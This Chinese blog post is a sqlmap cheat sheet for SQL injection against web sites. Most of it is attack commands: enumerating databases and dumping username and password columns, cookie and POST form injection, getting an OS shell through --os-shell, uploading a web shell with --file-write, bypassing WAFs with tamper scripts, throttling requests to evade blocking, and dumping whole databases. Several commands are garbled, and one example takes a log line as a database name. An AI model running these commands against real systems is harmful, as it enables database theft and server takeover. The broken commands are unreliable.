sqlmap使用手册

前言:有关sqlmap的使用之前就比较熟悉了, 今天闲来无事加上看相关博客就准备写一篇详细关于sqlmap的使用手册,博客正文源出于:http://www.cnblogs.com/xishaonian/p/6031552.html

0x00 SQLMAP简介:

   1,sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常大的检测引擎、具有多种特性的渗透实测器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

   2,sqlmap支持的数据库有MySQL, oracle,Sql Server,access等。

   3,可以实现错误注入,基于时间的错误注入,报错注入,union注入等。

 

0x01 使用过程中可能用到的相关命令:

   --current-user    #当前数据库用户
   --privileges     #查看当前数据库权限
   --dbms=mssql      #指定数据库的类型
   --os-shell      #执行cmd命令

   --is-dba             #判断是否为dba权限

0x02 对于Mssql类型的数据库注入:

    sqlmap -u "url" --dbs                       #获取数据库

    sqlmap -u "url" -D 数据库名 --tables                #猜表

    sqlmap -u "url" -D 数据库名 -T 表名 --columns           #获取字段

    sqlmap -u "url" -D 数据库名 -T 表名 -C username,password --dump   #获取字段内容

0x03 对于MySQL类型数据库注入:

    sqlmap -u "url" --dbs #获取数据库

    sqlmap -u "url" -D 数据库名 --tables                                #猜表

    sqlmap -u "url" -D 数据库名 -T 表名 --columns                       #获取字段

    sqlmap -u "url" -D 数据库名 -T 表名 -C username,password --dump     #获取字段内容

0x04 对于access类型数据库注入:

    sqlmap -u "url"                                                    #判断是否存在注入点

    sqlmap -u "url" --dbs                                              #获取数据库

    sqlmap -u "url" -D 数据库名 --tables                               #跑表

    sqlmap -u "url" --columns -T 表名 -D 数据库名                      #猜字段

    sqlmap -u "url" --dump -T 表名 -C 字段名1,字段名2 -D 数据库名     #猜字段内容

0x05 cookie注入:

    sqlmap –u “url” –cookie “id=urlid” --table –level 2           #获取表名

    sqlmap –u “url” –cookie “id=urlid” --columns –T 表名 –level 2 #获取字段       

    sqlmap –u “url” –cookie “id=urlid” --dump –T表名 –C “字段名1,字段名2” –level 2 #获取字段内容

0x06 post登录框注入:

    sqlmap –u “url” –forms                                                            #自动搜索 代码参数

    sqlmap.py -u “url” –data “ftuname=1&tfupass=1r

0x07 交互执行shell命令执行:

    sqlmap.py -u “url” –os –cmd=ipconfig     #cmd权限

    sqlmap.py -u “url” –os –shell

0x08 伪静态注入:

    sqlmap -u http://www.test.com/1*.html --dbs                             #获取数据库

    sqlmap -u http://www.test.com/1*.html -D 数据库名 --tables           #猜表

    sqlmap -u http://www.test.com/1*.html -D 数据库名 -T 表名 --columns #获取字段

    sqlmap -u http://www.test.com/1*.html -D 数据库名 -T 表名 -C id,user,password --dump #获取字段内容

0x09 请求超时:

    #参数 –delay --safe-freq 3

    sqlmap --dbs -u http://www.test.com/1*.html --delay 时间               #获取数据库

    sqlmap --dbs -u http://www.test.com/1*.html --safe-freq 次数         #获取数据库

0x10 搜索框注入:

    ● 检测是否存在注入
    ● 第一步:在框内提交:%'
    ● 返回错误即存在注入!
    ● 第二步:然后抓包-例如抓包数据如下
    POST /CN/Search/ HTTP/1.1
    Host: www.xxxxx.com
    Proxy-Connection: keep-alive
    Content-Length: 21
    Cache-Control: max-age=0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Origin: http://www.xxxxx.com
    User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Referer: http://www.xxxxx.com/CN/Search/
    Accept-Encoding: gzip,deflate,sdch
    Accept-Language: zh-CN,zh;q=0.8
    Cookie: ASPSESSIONIDCSTSSBDB=DEBHEMHCINDPHGHHPNEBJHEO; _ga=GA1.2.186656237.1405421193; CNZZDATA3440547=cnzz_eid%3D456311074-1405421237-           http%253A%252F%252Fwww.xxxxx.com%252F%26ntime%3D1405426801

    KeyWords=1%25&x=0&y=0

    将抓到的数据包保存为文本(目录需记住,例如我将数据包保存文本到C盘命名为1.txt)

    3.>sqlmap打开

    执行命令:sqlmap.py -r c:1.txt --bds -v 2 //列数据库

    回车后在以后一行得到数据"shutting down at 20:24:05"

    sqlmap.py -r c:1.txt --tables -D "shutting down at 20:24:05" -v 2 //列表明,假设表明为admin

    sqlmap.py -r c:1.txt --columns -T "admin" -D "shutting down at 20:24:05" -v 2 //奔字段,假设字段是username和password

    sqlmap.py -r c:1.txt --dump -C "username.password" -T "admin" -D "shutting down at 20:24:05" -v 2

0x11 tamper插件的使用/WAFBYPASS/Bypasswaf/waf bypass/

    参数:
    ● batch 要求不对目标写入
    ● tamper 干预脚本
    sqlmap.py -u "url" -v 3 --batch --tamper "base64encode.py"
    注:base64encode.py 为编码,在tamper目录下。且等级必须是3级或以上。
    tamper脚本下载:https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/
    temper脚本:
    针对MYSQL:space2morehash.py space2hash.py
    空格替换:space2mssqlblank.py space2mysqlblank.py、
    打乱编码:charencode.py chardoubleencode.py
    针对asp/asp.net:charunicodeencode.py percentage.py

0x12 文件参数的使用与接入

    file-write 本地路径
    file-dest 网站路径
    sqlmap.py -u "url" --file-write=本地shell路径 --file-dest=网站物理路径/hello.asp
    注:
       需要有dba或sa或root权限
       路径须是正斜杠(/)

0x13 拖库:

  --dump-all  #会在系统缓存目录C:\Users\Administrator\.sqlmap\output 目录下生成XLS文件

0x14 设置线程

  --threads 10

  某些网站有防注入保护,短时间内如果请求次数较多或短时间内请求错误页面次数较多都可能被网站屏蔽
  sqlmap -u "www.xxx.com/index.php/Index/view/id/40*.html" --dbs --delay 5    //间隔5秒请求一次

 

posted on 2017-05-17 17:59  l0cal  阅读(695)  评论(0编辑  收藏  举报

导航